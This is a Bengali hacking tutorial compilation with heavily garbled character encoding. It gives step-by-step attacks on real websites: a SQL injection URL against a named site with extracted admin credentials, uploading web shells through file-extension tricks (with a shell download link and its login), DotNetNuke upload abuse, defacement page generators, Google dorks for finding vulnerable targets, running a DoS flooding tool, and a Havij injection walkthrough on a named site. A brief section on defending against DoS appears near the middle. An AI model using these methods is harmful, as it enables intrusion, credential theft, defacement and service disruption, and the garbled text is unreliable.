এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন
ছকতফ
সি কযা সল
এফায অনাযা বরাউজাযটি চছন করন
তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন
সমভনঃ httpwwwmyxixiacompoweraspjpg
ছকতফ
তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ
ছকতফ
এফায অনাযা deface html পাআরটি চছন করন
এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন
এফায সকাড ফগচছরা ককত করন
ছকতফ
এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন
ছকতফ
সব কযায য অকতন এভন একটি সজ াচছফন
ছকতফ
এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related
`
DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন
inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx
গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না
ছকতফ
২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ
৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা
ছকতফ
৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)
ছকতফ
৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ
৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত
কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয
কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায
সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww
কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক
ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ
কতকবাচছফ DdoS যাটাক কযফ
পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন
DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য
এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ
থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক
এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা
এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন
কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয
১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ
অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয
একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয
কতকনত DoS যাটাক টা চছে কতনচছচয ভত
অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত
D0S DDoS attack এয কাযন কতক
২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ
অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক
১) যাকাযচছদয কভতরফ
খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ
ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন
যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক
থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয
থফা কতনতানতআ পরযাকটি এয উচছেচছ
২) sysadmin এয বার ভতরফ
নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ
াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ
কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন
DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায
DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয
ড যাটাক এয কভন কামবপরণারী গচছরা চছে -
কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা
কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা
াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ
--------------------------------------------------------------------------------------------------------------------------------------
----------------------
অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ
Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত
পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত
এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন
এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন
রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ
Apache 1x Apache 2x
GoAhead WebServer
---------------------------------------------------------------------------------------------------------------------------------------
---------------------
এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ
পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন
এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন
পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন
httpwwwmediafirecomfamiivi799a9459
পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as
administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ
১ URL ফচছকস সম সকান াআচছটয নাভ সরখন
(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)
২ lock on কতচছরকট করন
৩ সদখচছফন অআকত রক চছয কতগচছযচছছ
৪ কতচতর এয ভত কচছয http কতচছরকট করন
৫Threads ফকস এ 1000 টাআ করন
৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন
৭ ফলাকতডং শর চছয মাচছফ
------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক
ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন
১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন
netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n
মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ
তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad
এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip
মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন
apf -d xxxxxxxx
মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন
csf -d xxxxxxxx
অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন
iptables -I INPUT 1 -s -j DROP xxxxxxxx
উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ
তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না
এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয
এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন
াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ
চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ
পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক
এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না
সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না
অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)
অটিব চছকর 150543 চছত সজচছন কতনন
httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech
াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন
উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]
এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক
এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ
কাচছনকটিকতবটি ককতভচছয কতদন
অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায
এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP
এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা
এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile
পাযাযযার ফযফায করন
উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন
এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন
এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন
httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom
এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey
সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ
heartsheartshearts Havij
SQLi টিউমটাসরো heartsheartshearts
Download
Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij
পরথচছভ GoogleCom এ মান
এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন
inurlphpid=
তাচছর চছনকগচছরা পরাপর সদখাচছফ
এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i
সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo
এফায সম সকান একটি াআচছট পরচছফ করন
এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ
httpwwwpaulprescottcomthemephpid=10
অভযা এআ াআটটিচছক টাচছগবট কযরাভ
এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10
এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান
এফায এনটায কতদন
এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ
এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ
এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ
মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ
Current DB XXXX
কতনচছচয ছকতফটি সদখন
এফায ―Tables tab এ মান
এফায ―Get DBlsquos এ কতিক করন
এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema
দটা পাআর
―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক
শধ ভাতর ―paul_third কতচছরকট করন
এফায ―Get Tables এ কতিক করন
তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন
এখন অভযা administration panel টি যাক কযচছত সচিা কযফ
এখন ―admin table টি সচক করন
এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না
এফায ―Get Columns ফাটচছন কতিক করন
তাচছর কতনচছচয ভচছতা অচছফ
এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)
এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
